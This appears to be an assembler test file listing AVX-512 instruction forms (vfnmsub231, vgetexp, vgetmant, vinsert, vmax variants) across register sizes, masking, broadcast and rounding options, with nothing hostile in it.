vfnmsub231pd xmm2{k5}{z}, xmm7, xmm0
vfnmsub231pd xmm2{k5}{z}, xmm7, [rbx]
vfnmsub231pd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vfnmsub231pd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfnmsub231pd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfnmsub231pd ymm16, ymm13, ymm15
vfnmsub231pd ymm16, ymm13, [rbx]
vfnmsub231pd ymm16, ymm13, [rbx]{1to4}
vfnmsub231pd ymm16, ymm13, [rbx+r11*8+256]
vfnmsub231pd ymm16, ymm13, [rbx+r11*8-256]
vfnmsub231pd ymm16{k5}, ymm13, ymm15
vfnmsub231pd ymm16{k5}, ymm13, [rbx]
vfnmsub231pd ymm16{k5}, ymm13, [rbx]{1to4}
vfnmsub231pd ymm16{k5}, ymm13, [rbx+r11*8+256]
vfnmsub231pd ymm16{k5}, ymm13, [rbx+r11*8-256]
vfnmsub231pd ymm16{k5}{z}, ymm13, ymm15
vfnmsub231pd ymm16{k5}{z}, ymm13, [rbx]
vfnmsub231pd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vfnmsub231pd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfnmsub231pd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfnmsub231pd zmm24, zmm24, zmm31
vfnmsub231pd zmm24, zmm24, zmm31, {rd-sae}
vfnmsub231pd zmm24, zmm24, [rbx]
vfnmsub231pd zmm24, zmm24, [rbx]{1to8}
vfnmsub231pd zmm24, zmm24, [rbx+r11*8+256]
vfnmsub231pd zmm24, zmm24, [rbx+r11*8-256]
vfnmsub231pd zmm24{k5}, zmm24, zmm31
vfnmsub231pd zmm24{k5}, zmm24, zmm31, {rd-sae}
vfnmsub231pd zmm24{k5}, zmm24, [rbx]
vfnmsub231pd zmm24{k5}, zmm24, [rbx]{1to8}
vfnmsub231pd zmm24{k5}, zmm24, [rbx+r11*8+256]
vfnmsub231pd zmm24{k5}, zmm24, [rbx+r11*8-256]
vfnmsub231pd zmm24{k5}{z}, zmm24, zmm31
vfnmsub231pd zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfnmsub231pd zmm24{k5}{z}, zmm24, [rbx]
vfnmsub231pd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vfnmsub231pd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfnmsub231pd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfnmsub231ps xmm2, xmm7, xmm0
vfnmsub231ps xmm2, xmm7, [rbx]
vfnmsub231ps xmm2, xmm7, [rbx]{1to4}
vfnmsub231ps xmm2, xmm7, [rbx+r11*8+256]
vfnmsub231ps xmm2, xmm7, [rbx+r11*8-256]
vfnmsub231ps xmm2{k5}, xmm7, xmm0
vfnmsub231ps xmm2{k5}, xmm7, [rbx]
vfnmsub231ps xmm2{k5}, xmm7, [rbx]{1to4}
vfnmsub231ps xmm2{k5}, xmm7, [rbx+r11*8+256]
vfnmsub231ps xmm2{k5}, xmm7, [rbx+r11*8-256]
vfnmsub231ps xmm2{k5}{z}, xmm7, xmm0
vfnmsub231ps xmm2{k5}{z}, xmm7, [rbx]
vfnmsub231ps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vfnmsub231ps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfnmsub231ps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfnmsub231ps ymm16, ymm13, ymm15
vfnmsub231ps ymm16, ymm13, [rbx]
vfnmsub231ps ymm16, ymm13, [rbx]{1to8}
vfnmsub231ps ymm16, ymm13, [rbx+r11*8+256]
vfnmsub231ps ymm16, ymm13, [rbx+r11*8-256]
vfnmsub231ps ymm16{k5}, ymm13, ymm15
vfnmsub231ps ymm16{k5}, ymm13, [rbx]
vfnmsub231ps ymm16{k5}, ymm13, [rbx]{1to8}
vfnmsub231ps ymm16{k5}, ymm13, [rbx+r11*8+256]
vfnmsub231ps ymm16{k5}, ymm13, [rbx+r11*8-256]
vfnmsub231ps ymm16{k5}{z}, ymm13, ymm15
vfnmsub231ps ymm16{k5}{z}, ymm13, [rbx]
vfnmsub231ps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vfnmsub231ps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vfnmsub231ps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vfnmsub231ps zmm24, zmm24, zmm31
vfnmsub231ps zmm24, zmm24, zmm31, {rd-sae}
vfnmsub231ps zmm24, zmm24, [rbx]
vfnmsub231ps zmm24, zmm24, [rbx]{1to16}
vfnmsub231ps zmm24, zmm24, [rbx+r11*8+256]
vfnmsub231ps zmm24, zmm24, [rbx+r11*8-256]
vfnmsub231ps zmm24{k5}, zmm24, zmm31
vfnmsub231ps zmm24{k5}, zmm24, zmm31, {rd-sae}
vfnmsub231ps zmm24{k5}, zmm24, [rbx]
vfnmsub231ps zmm24{k5}, zmm24, [rbx]{1to16}
vfnmsub231ps zmm24{k5}, zmm24, [rbx+r11*8+256]
vfnmsub231ps zmm24{k5}, zmm24, [rbx+r11*8-256]
vfnmsub231ps zmm24{k5}{z}, zmm24, zmm31
vfnmsub231ps zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vfnmsub231ps zmm24{k5}{z}, zmm24, [rbx]
vfnmsub231ps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vfnmsub231ps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vfnmsub231ps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vfnmsub231sd xmm2, xmm7, xmm0
vfnmsub231sd xmm2, xmm7, xmm0, {rd-sae}
vfnmsub231sd xmm2, xmm7, [rbx]
vfnmsub231sd xmm2, xmm7, [rbx+r11*8+256]
vfnmsub231sd xmm2, xmm7, [rbx+r11*8-256]
vfnmsub231sd xmm2{k5}, xmm7, xmm0
vfnmsub231sd xmm2{k5}, xmm7, xmm0, {rd-sae}
vfnmsub231sd xmm2{k5}, xmm7, [rbx]
vfnmsub231sd xmm2{k5}, xmm7, [rbx+r11*8+256]
vfnmsub231sd xmm2{k5}, xmm7, [rbx+r11*8-256]
vfnmsub231sd xmm2{k5}{z}, xmm7, xmm0
vfnmsub231sd xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vfnmsub231sd xmm2{k5}{z}, xmm7, [rbx]
vfnmsub231sd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfnmsub231sd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vfnmsub231ss xmm2, xmm7, xmm0
vfnmsub231ss xmm2, xmm7, xmm0, {rd-sae}
vfnmsub231ss xmm2, xmm7, [rbx]
vfnmsub231ss xmm2, xmm7, [rbx+r11*8+256]
vfnmsub231ss xmm2, xmm7, [rbx+r11*8-256]
vfnmsub231ss xmm2{k5}, xmm7, xmm0
vfnmsub231ss xmm2{k5}, xmm7, xmm0, {rd-sae}
vfnmsub231ss xmm2{k5}, xmm7, [rbx]
vfnmsub231ss xmm2{k5}, xmm7, [rbx+r11*8+256]
vfnmsub231ss xmm2{k5}, xmm7, [rbx+r11*8-256]
vfnmsub231ss xmm2{k5}{z}, xmm7, xmm0
vfnmsub231ss xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vfnmsub231ss xmm2{k5}{z}, xmm7, [rbx]
vfnmsub231ss xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vfnmsub231ss xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vgetexppd xmm2, xmm0
vgetexppd xmm2, [rbx]
vgetexppd xmm2, [rbx]{1to2}
vgetexppd xmm2, [rbx+r11*8+256]
vgetexppd xmm2, [rbx+r11*8-256]
vgetexppd xmm2{k5}, xmm0
vgetexppd xmm2{k5}, [rbx]
vgetexppd xmm2{k5}, [rbx]{1to2}
vgetexppd xmm2{k5}, [rbx+r11*8+256]
vgetexppd xmm2{k5}, [rbx+r11*8-256]
vgetexppd xmm2{k5}{z}, xmm0
vgetexppd xmm2{k5}{z}, [rbx]
vgetexppd xmm2{k5}{z}, [rbx]{1to2}
vgetexppd xmm2{k5}{z}, [rbx+r11*8+256]
vgetexppd xmm2{k5}{z}, [rbx+r11*8-256]
vgetexppd ymm16, ymm15
vgetexppd ymm16, [rbx]
vgetexppd ymm16, [rbx]{1to4}
vgetexppd ymm16, [rbx+r11*8+256]
vgetexppd ymm16, [rbx+r11*8-256]
vgetexppd ymm16{k5}, ymm15
vgetexppd ymm16{k5}, [rbx]
vgetexppd ymm16{k5}, [rbx]{1to4}
vgetexppd ymm16{k5}, [rbx+r11*8+256]
vgetexppd ymm16{k5}, [rbx+r11*8-256]
vgetexppd ymm16{k5}{z}, ymm15
vgetexppd ymm16{k5}{z}, [rbx]
vgetexppd ymm16{k5}{z}, [rbx]{1to4}
vgetexppd ymm16{k5}{z}, [rbx+r11*8+256]
vgetexppd ymm16{k5}{z}, [rbx+r11*8-256]
vgetexppd zmm24, zmm31
vgetexppd zmm24, zmm31, {sae}
vgetexppd zmm24, [rbx]
vgetexppd zmm24, [rbx]{1to8}
vgetexppd zmm24, [rbx+r11*8+256]
vgetexppd zmm24, [rbx+r11*8-256]
vgetexppd zmm24{k5}, zmm31
vgetexppd zmm24{k5}, zmm31, {sae}
vgetexppd zmm24{k5}, [rbx]
vgetexppd zmm24{k5}, [rbx]{1to8}
vgetexppd zmm24{k5}, [rbx+r11*8+256]
vgetexppd zmm24{k5}, [rbx+r11*8-256]
vgetexppd zmm24{k5}{z}, zmm31
vgetexppd zmm24{k5}{z}, zmm31, {sae}
vgetexppd zmm24{k5}{z}, [rbx]
vgetexppd zmm24{k5}{z}, [rbx]{1to8}
vgetexppd zmm24{k5}{z}, [rbx+r11*8+256]
vgetexppd zmm24{k5}{z}, [rbx+r11*8-256]
vgetexpps xmm2, xmm0
vgetexpps xmm2, [rbx]
vgetexpps xmm2, [rbx]{1to4}
vgetexpps xmm2, [rbx+r11*8+256]
vgetexpps xmm2, [rbx+r11*8-256]
vgetexpps xmm2{k5}, xmm0
vgetexpps xmm2{k5}, [rbx]
vgetexpps xmm2{k5}, [rbx]{1to4}
vgetexpps xmm2{k5}, [rbx+r11*8+256]
vgetexpps xmm2{k5}, [rbx+r11*8-256]
vgetexpps xmm2{k5}{z}, xmm0
vgetexpps xmm2{k5}{z}, [rbx]
vgetexpps xmm2{k5}{z}, [rbx]{1to4}
vgetexpps xmm2{k5}{z}, [rbx+r11*8+256]
vgetexpps xmm2{k5}{z}, [rbx+r11*8-256]
vgetexpps ymm16, ymm15
vgetexpps ymm16, [rbx]
vgetexpps ymm16, [rbx]{1to8}
vgetexpps ymm16, [rbx+r11*8+256]
vgetexpps ymm16, [rbx+r11*8-256]
vgetexpps ymm16{k5}, ymm15
vgetexpps ymm16{k5}, [rbx]
vgetexpps ymm16{k5}, [rbx]{1to8}
vgetexpps ymm16{k5}, [rbx+r11*8+256]
vgetexpps ymm16{k5}, [rbx+r11*8-256]
vgetexpps ymm16{k5}{z}, ymm15
vgetexpps ymm16{k5}{z}, [rbx]
vgetexpps ymm16{k5}{z}, [rbx]{1to8}
vgetexpps ymm16{k5}{z}, [rbx+r11*8+256]
vgetexpps ymm16{k5}{z}, [rbx+r11*8-256]
vgetexpps zmm24, zmm31
vgetexpps zmm24, zmm31, {sae}
vgetexpps zmm24, [rbx]
vgetexpps zmm24, [rbx]{1to16}
vgetexpps zmm24, [rbx+r11*8+256]
vgetexpps zmm24, [rbx+r11*8-256]
vgetexpps zmm24{k5}, zmm31
vgetexpps zmm24{k5}, zmm31, {sae}
vgetexpps zmm24{k5}, [rbx]
vgetexpps zmm24{k5}, [rbx]{1to16}
vgetexpps zmm24{k5}, [rbx+r11*8+256]
vgetexpps zmm24{k5}, [rbx+r11*8-256]
vgetexpps zmm24{k5}{z}, zmm31
vgetexpps zmm24{k5}{z}, zmm31, {sae}
vgetexpps zmm24{k5}{z}, [rbx]
vgetexpps zmm24{k5}{z}, [rbx]{1to16}
vgetexpps zmm24{k5}{z}, [rbx+r11*8+256]
vgetexpps zmm24{k5}{z}, [rbx+r11*8-256]
vgetexpsd xmm2, xmm7, xmm0
vgetexpsd xmm2, xmm7, xmm0, {sae}
vgetexpsd xmm2, xmm7, [rbx]
vgetexpsd xmm2, xmm7, [rbx+r11*8+256]
vgetexpsd xmm2, xmm7, [rbx+r11*8-256]
vgetexpsd xmm2{k5}, xmm7, xmm0
vgetexpsd xmm2{k5}, xmm7, xmm0, {sae}
vgetexpsd xmm2{k5}, xmm7, [rbx]
vgetexpsd xmm2{k5}, xmm7, [rbx+r11*8+256]
vgetexpsd xmm2{k5}, xmm7, [rbx+r11*8-256]
vgetexpsd xmm2{k5}{z}, xmm7, xmm0
vgetexpsd xmm2{k5}{z}, xmm7, xmm0, {sae}
vgetexpsd xmm2{k5}{z}, xmm7, [rbx]
vgetexpsd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vgetexpsd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vgetexpss xmm2, xmm7, xmm0
vgetexpss xmm2, xmm7, xmm0, {sae}
vgetexpss xmm2, xmm7, [rbx]
vgetexpss xmm2, xmm7, [rbx+r11*8+256]
vgetexpss xmm2, xmm7, [rbx+r11*8-256]
vgetexpss xmm2{k5}, xmm7, xmm0
vgetexpss xmm2{k5}, xmm7, xmm0, {sae}
vgetexpss xmm2{k5}, xmm7, [rbx]
vgetexpss xmm2{k5}, xmm7, [rbx+r11*8+256]
vgetexpss xmm2{k5}, xmm7, [rbx+r11*8-256]
vgetexpss xmm2{k5}{z}, xmm7, xmm0
vgetexpss xmm2{k5}{z}, xmm7, xmm0, {sae}
vgetexpss xmm2{k5}{z}, xmm7, [rbx]
vgetexpss xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vgetexpss xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vgetmantpd xmm2, xmm0, 10
vgetmantpd xmm2, [rbx], 10
vgetmantpd xmm2, [rbx]{1to2}, 10
vgetmantpd xmm2, [rbx+r11*8+256], 10
vgetmantpd xmm2, [rbx+r11*8-256], 10
vgetmantpd xmm2{k5}, xmm0, 10
vgetmantpd xmm2{k5}, [rbx], 10
vgetmantpd xmm2{k5}, [rbx]{1to2}, 10
vgetmantpd xmm2{k5}, [rbx+r11*8+256], 10
vgetmantpd xmm2{k5}, [rbx+r11*8-256], 10
vgetmantpd xmm2{k5}{z}, xmm0, 10
vgetmantpd xmm2{k5}{z}, [rbx], 10
vgetmantpd xmm2{k5}{z}, [rbx]{1to2}, 10
vgetmantpd xmm2{k5}{z}, [rbx+r11*8+256], 10
vgetmantpd xmm2{k5}{z}, [rbx+r11*8-256], 10
vgetmantpd ymm16, ymm15, 10
vgetmantpd ymm16, [rbx], 10
vgetmantpd ymm16, [rbx]{1to4}, 10
vgetmantpd ymm16, [rbx+r11*8+256], 10
vgetmantpd ymm16, [rbx+r11*8-256], 10
vgetmantpd ymm16{k5}, ymm15, 10
vgetmantpd ymm16{k5}, [rbx], 10
vgetmantpd ymm16{k5}, [rbx]{1to4}, 10
vgetmantpd ymm16{k5}, [rbx+r11*8+256], 10
vgetmantpd ymm16{k5}, [rbx+r11*8-256], 10
vgetmantpd ymm16{k5}{z}, ymm15, 10
vgetmantpd ymm16{k5}{z}, [rbx], 10
vgetmantpd ymm16{k5}{z}, [rbx]{1to4}, 10
vgetmantpd ymm16{k5}{z}, [rbx+r11*8+256], 10
vgetmantpd ymm16{k5}{z}, [rbx+r11*8-256], 10
vgetmantpd zmm24, zmm31, 10
vgetmantpd zmm24, [rbx], 10
vgetmantpd zmm24, [rbx]{1to8}, 10
vgetmantpd zmm24, [rbx+r11*8+256], 10
vgetmantpd zmm24, [rbx+r11*8-256], 10
vgetmantpd zmm24{k5}, zmm31, 10
vgetmantpd zmm24{k5}, [rbx], 10
vgetmantpd zmm24{k5}, [rbx]{1to8}, 10
vgetmantpd zmm24{k5}, [rbx+r11*8+256], 10
vgetmantpd zmm24{k5}, [rbx+r11*8-256], 10
vgetmantpd zmm24{k5}{z}, zmm31, 10
vgetmantpd zmm24{k5}{z}, [rbx], 10
vgetmantpd zmm24{k5}{z}, [rbx]{1to8}, 10
vgetmantpd zmm24{k5}{z}, [rbx+r11*8+256], 10
vgetmantpd zmm24{k5}{z}, [rbx+r11*8-256], 10
vgetmantps xmm2, xmm0, 10
vgetmantps xmm2, [rbx], 10
vgetmantps xmm2, [rbx]{1to4}, 10
vgetmantps xmm2, [rbx+r11*8+256], 10
vgetmantps xmm2, [rbx+r11*8-256], 10
vgetmantps xmm2{k5}, xmm0, 10
vgetmantps xmm2{k5}, [rbx], 10
vgetmantps xmm2{k5}, [rbx]{1to4}, 10
vgetmantps xmm2{k5}, [rbx+r11*8+256], 10
vgetmantps xmm2{k5}, [rbx+r11*8-256], 10
vgetmantps xmm2{k5}{z}, xmm0, 10
vgetmantps xmm2{k5}{z}, [rbx], 10
vgetmantps xmm2{k5}{z}, [rbx]{1to4}, 10
vgetmantps xmm2{k5}{z}, [rbx+r11*8+256], 10
vgetmantps xmm2{k5}{z}, [rbx+r11*8-256], 10
vgetmantps ymm16, ymm15, 10
vgetmantps ymm16, [rbx], 10
vgetmantps ymm16, [rbx]{1to8}, 10
vgetmantps ymm16, [rbx+r11*8+256], 10
vgetmantps ymm16, [rbx+r11*8-256], 10
vgetmantps ymm16{k5}, ymm15, 10
vgetmantps ymm16{k5}, [rbx], 10
vgetmantps ymm16{k5}, [rbx]{1to8}, 10
vgetmantps ymm16{k5}, [rbx+r11*8+256], 10
vgetmantps ymm16{k5}, [rbx+r11*8-256], 10
vgetmantps ymm16{k5}{z}, ymm15, 10
vgetmantps ymm16{k5}{z}, [rbx], 10
vgetmantps ymm16{k5}{z}, [rbx]{1to8}, 10
vgetmantps ymm16{k5}{z}, [rbx+r11*8+256], 10
vgetmantps ymm16{k5}{z}, [rbx+r11*8-256], 10
vgetmantps zmm24, zmm31, 10
vgetmantps zmm24, [rbx], 10
vgetmantps zmm24, [rbx]{1to16}, 10
vgetmantps zmm24, [rbx+r11*8+256], 10
vgetmantps zmm24, [rbx+r11*8-256], 10
vgetmantps zmm24{k5}, zmm31, 10
vgetmantps zmm24{k5}, [rbx], 10
vgetmantps zmm24{k5}, [rbx]{1to16}, 10
vgetmantps zmm24{k5}, [rbx+r11*8+256], 10
vgetmantps zmm24{k5}, [rbx+r11*8-256], 10
vgetmantps zmm24{k5}{z}, zmm31, 10
vgetmantps zmm24{k5}{z}, [rbx], 10
vgetmantps zmm24{k5}{z}, [rbx]{1to16}, 10
vgetmantps zmm24{k5}{z}, [rbx+r11*8+256], 10
vgetmantps zmm24{k5}{z}, [rbx+r11*8-256], 10
vgetmantsd xmm2, xmm7, xmm0, 10
vgetmantsd xmm2, xmm7, [rbx], 10
vgetmantsd xmm2, xmm7, [rbx+r11*8+256], 10
vgetmantsd xmm2, xmm7, [rbx+r11*8-256], 10
vgetmantsd xmm2{k5}, xmm7, xmm0, 10
vgetmantsd xmm2{k5}, xmm7, [rbx], 10
vgetmantsd xmm2{k5}, xmm7, [rbx+r11*8+256], 10
vgetmantsd xmm2{k5}, xmm7, [rbx+r11*8-256], 10
vgetmantsd xmm2{k5}{z}, xmm7, xmm0, 10
vgetmantsd xmm2{k5}{z}, xmm7, [rbx], 10
vgetmantsd xmm2{k5}{z}, xmm7, [rbx+r11*8+256], 10
vgetmantsd xmm2{k5}{z}, xmm7, [rbx+r11*8-256], 10
vgetmantss xmm2, xmm7, xmm0, 10
vgetmantss xmm2, xmm7, [rbx], 10
vgetmantss xmm2, xmm7, [rbx+r11*8+256], 10
vgetmantss xmm2, xmm7, [rbx+r11*8-256], 10
vgetmantss xmm2{k5}, xmm7, xmm0, 10
vgetmantss xmm2{k5}, xmm7, [rbx], 10
vgetmantss xmm2{k5}, xmm7, [rbx+r11*8+256], 10
vgetmantss xmm2{k5}, xmm7, [rbx+r11*8-256], 10
vgetmantss xmm2{k5}{z}, xmm7, xmm0, 10
vgetmantss xmm2{k5}{z}, xmm7, [rbx], 10
vgetmantss xmm2{k5}{z}, xmm7, [rbx+r11*8+256], 10
vgetmantss xmm2{k5}{z}, xmm7, [rbx+r11*8-256], 10
vinsertf32x4 ymm16, ymm13, xmm0, 10
vinsertf32x4 ymm16, ymm13, [rbx], 10
vinsertf32x4 ymm16, ymm13, [rbx+r11*8+256], 10
vinsertf32x4 ymm16, ymm13, [rbx+r11*8-256], 10
vinsertf32x4 ymm16{k5}, ymm13, xmm0, 10
vinsertf32x4 ymm16{k5}, ymm13, [rbx], 10
vinsertf32x4 ymm16{k5}, ymm13, [rbx+r11*8+256], 10
vinsertf32x4 ymm16{k5}, ymm13, [rbx+r11*8-256], 10
vinsertf32x4 ymm16{k5}{z}, ymm13, xmm0, 10
vinsertf32x4 ymm16{k5}{z}, ymm13, [rbx], 10
vinsertf32x4 ymm16{k5}{z}, ymm13, [rbx+r11*8+256], 10
vinsertf32x4 ymm16{k5}{z}, ymm13, [rbx+r11*8-256], 10
vinsertf32x4 zmm24, zmm24, xmm0, 10
vinsertf32x4 zmm24, zmm24, [rbx], 10
vinsertf32x4 zmm24, zmm24, [rbx+r11*8+256], 10
vinsertf32x4 zmm24, zmm24, [rbx+r11*8-256], 10
vinsertf32x4 zmm24{k5}, zmm24, xmm0, 10
vinsertf32x4 zmm24{k5}, zmm24, [rbx], 10
vinsertf32x4 zmm24{k5}, zmm24, [rbx+r11*8+256], 10
vinsertf32x4 zmm24{k5}, zmm24, [rbx+r11*8-256], 10
vinsertf32x4 zmm24{k5}{z}, zmm24, xmm0, 10
vinsertf32x4 zmm24{k5}{z}, zmm24, [rbx], 10
vinsertf32x4 zmm24{k5}{z}, zmm24, [rbx+r11*8+256], 10
vinsertf32x4 zmm24{k5}{z}, zmm24, [rbx+r11*8-256], 10
vinsertf64x4 zmm24, zmm24, ymm15, 10
vinsertf64x4 zmm24, zmm24, [rbx], 10
vinsertf64x4 zmm24, zmm24, [rbx+r11*8+256], 10
vinsertf64x4 zmm24, zmm24, [rbx+r11*8-256], 10
vinsertf64x4 zmm24{k5}, zmm24, ymm15, 10
vinsertf64x4 zmm24{k5}, zmm24, [rbx], 10
vinsertf64x4 zmm24{k5}, zmm24, [rbx+r11*8+256], 10
vinsertf64x4 zmm24{k5}, zmm24, [rbx+r11*8-256], 10
vinsertf64x4 zmm24{k5}{z}, zmm24, ymm15, 10
vinsertf64x4 zmm24{k5}{z}, zmm24, [rbx], 10
vinsertf64x4 zmm24{k5}{z}, zmm24, [rbx+r11*8+256], 10
vinsertf64x4 zmm24{k5}{z}, zmm24, [rbx+r11*8-256], 10
vinserti32x4 ymm16, ymm13, xmm0, 10
vinserti32x4 ymm16, ymm13, [rbx], 10
vinserti32x4 ymm16, ymm13, [rbx+r11*8+256], 10
vinserti32x4 ymm16, ymm13, [rbx+r11*8-256], 10
vinserti32x4 ymm16{k5}, ymm13, xmm0, 10
vinserti32x4 ymm16{k5}, ymm13, [rbx], 10
vinserti32x4 ymm16{k5}, ymm13, [rbx+r11*8+256], 10
vinserti32x4 ymm16{k5}, ymm13, [rbx+r11*8-256], 10
vinserti32x4 ymm16{k5}{z}, ymm13, xmm0, 10
vinserti32x4 ymm16{k5}{z}, ymm13, [rbx], 10
vinserti32x4 ymm16{k5}{z}, ymm13, [rbx+r11*8+256], 10
vinserti32x4 ymm16{k5}{z}, ymm13, [rbx+r11*8-256], 10
vinserti32x4 zmm24, zmm24, xmm0, 10
vinserti32x4 zmm24, zmm24, [rbx], 10
vinserti32x4 zmm24, zmm24, [rbx+r11*8+256], 10
vinserti32x4 zmm24, zmm24, [rbx+r11*8-256], 10
vinserti32x4 zmm24{k5}, zmm24, xmm0, 10
vinserti32x4 zmm24{k5}, zmm24, [rbx], 10
vinserti32x4 zmm24{k5}, zmm24, [rbx+r11*8+256], 10
vinserti32x4 zmm24{k5}, zmm24, [rbx+r11*8-256], 10
vinserti32x4 zmm24{k5}{z}, zmm24, xmm0, 10
vinserti32x4 zmm24{k5}{z}, zmm24, [rbx], 10
vinserti32x4 zmm24{k5}{z}, zmm24, [rbx+r11*8+256], 10
vinserti32x4 zmm24{k5}{z}, zmm24, [rbx+r11*8-256], 10
vinserti64x4 zmm24, zmm24, ymm15, 10
vinserti64x4 zmm24, zmm24, [rbx], 10
vinserti64x4 zmm24, zmm24, [rbx+r11*8+256], 10
vinserti64x4 zmm24, zmm24, [rbx+r11*8-256], 10
vinserti64x4 zmm24{k5}, zmm24, ymm15, 10
vinserti64x4 zmm24{k5}, zmm24, [rbx], 10
vinserti64x4 zmm24{k5}, zmm24, [rbx+r11*8+256], 10
vinserti64x4 zmm24{k5}, zmm24, [rbx+r11*8-256], 10
vinserti64x4 zmm24{k5}{z}, zmm24, ymm15, 10
vinserti64x4 zmm24{k5}{z}, zmm24, [rbx], 10
vinserti64x4 zmm24{k5}{z}, zmm24, [rbx+r11*8+256], 10
vinserti64x4 zmm24{k5}{z}, zmm24, [rbx+r11*8-256], 10
vinsertps xmm2, xmm7, [rbx], 10
vinsertps xmm2, xmm7, [rbx+rsi*8+256], 10
vinsertps xmm2, xmm7, [rbx+rsi*8-256], 10
vinsertps xmm2, xmm7, xmm0, 10
vmaxpd xmm2, xmm7, xmm0
vmaxpd xmm2, xmm7, [rbx]
vmaxpd xmm2, xmm7, [rbx]{1to2}
vmaxpd xmm2, xmm7, [rbx+r11*8+256]
vmaxpd xmm2, xmm7, [rbx+r11*8-256]
vmaxpd xmm2{k5}, xmm7, xmm0
vmaxpd xmm2{k5}, xmm7, [rbx]
vmaxpd xmm2{k5}, xmm7, [rbx]{1to2}
vmaxpd xmm2{k5}, xmm7, [rbx+r11*8+256]
vmaxpd xmm2{k5}, xmm7, [rbx+r11*8-256]
vmaxpd xmm2{k5}{z}, xmm7, xmm0
vmaxpd xmm2{k5}{z}, xmm7, [rbx]
vmaxpd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vmaxpd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vmaxpd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vmaxpd ymm16, ymm13, ymm15
vmaxpd ymm16, ymm13, [rbx]
vmaxpd ymm16, ymm13, [rbx]{1to4}
vmaxpd ymm16, ymm13, [rbx+r11*8+256]
vmaxpd ymm16, ymm13, [rbx+r11*8-256]
vmaxpd ymm16{k5}, ymm13, ymm15
vmaxpd ymm16{k5}, ymm13, [rbx]
vmaxpd ymm16{k5}, ymm13, [rbx]{1to4}
vmaxpd ymm16{k5}, ymm13, [rbx+r11*8+256]
vmaxpd ymm16{k5}, ymm13, [rbx+r11*8-256]
vmaxpd ymm16{k5}{z}, ymm13, ymm15
vmaxpd ymm16{k5}{z}, ymm13, [rbx]
vmaxpd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vmaxpd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vmaxpd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vmaxpd zmm24, zmm24, zmm31
vmaxpd zmm24, zmm24, zmm31, {sae}
vmaxpd zmm24, zmm24, [rbx]
vmaxpd zmm24, zmm24, [rbx]{1to8}
vmaxpd zmm24, zmm24, [rbx+r11*8+256]
vmaxpd zmm24, zmm24, [rbx+r11*8-256]
vmaxpd zmm24{k5}, zmm24, zmm31
vmaxpd zmm24{k5}, zmm24, zmm31, {sae}
vmaxpd zmm24{k5}, zmm24, [rbx]
vmaxpd zmm24{k5}, zmm24, [rbx]{1to8}
vmaxpd zmm24{k5}, zmm24, [rbx+r11*8+256]
vmaxpd zmm24{k5}, zmm24, [rbx+r11*8-256]
vmaxpd zmm24{k5}{z}, zmm24, zmm31
vmaxpd zmm24{k5}{z}, zmm24, zmm31, {sae}
vmaxpd zmm24{k5}{z}, zmm24, [rbx]
vmaxpd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vmaxpd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vmaxpd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vmaxps xmm2, xmm7, xmm0
vmaxps xmm2, xmm7, [rbx]
vmaxps xmm2, xmm7, [rbx]{1to4}
vmaxps xmm2, xmm7, [rbx+r11*8+256]
vmaxps xmm2, xmm7, [rbx+r11*8-256]
vmaxps xmm2{k5}, xmm7, xmm0
vmaxps xmm2{k5}, xmm7, [rbx]
vmaxps xmm2{k5}, xmm7, [rbx]{1to4}
vmaxps xmm2{k5}, xmm7, [rbx+r11*8+256]
vmaxps xmm2{k5}, xmm7, [rbx+r11*8-256]
vmaxps xmm2{k5}{z}, xmm7, xmm0
vmaxps xmm2{k5}{z}, xmm7, [rbx]
vmaxps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vmaxps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vmaxps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vmaxps ymm16, ymm13, ymm15
vmaxps ymm16, ymm13, [rbx]
vmaxps ymm16, ymm13, [rbx]{1to8}
vmaxps ymm16, ymm13, [rbx+r11*8+256]
vmaxps ymm16, ymm13, [rbx+r11*8-256]
vmaxps ymm16{k5}, ymm13, ymm15
vmaxps ymm16{k5}, ymm13, [rbx]
vmaxps ymm16{k5}, ymm13, [rbx]{1to8}
vmaxps ymm16{k5}, ymm13, [rbx+r11*8+256]
vmaxps ymm16{k5}, ymm13, [rbx+r11*8-256]
vmaxps ymm16{k5}{z}, ymm13, ymm15
vmaxps ymm16{k5}{z}, ymm13, [rbx]
vmaxps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vmaxps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
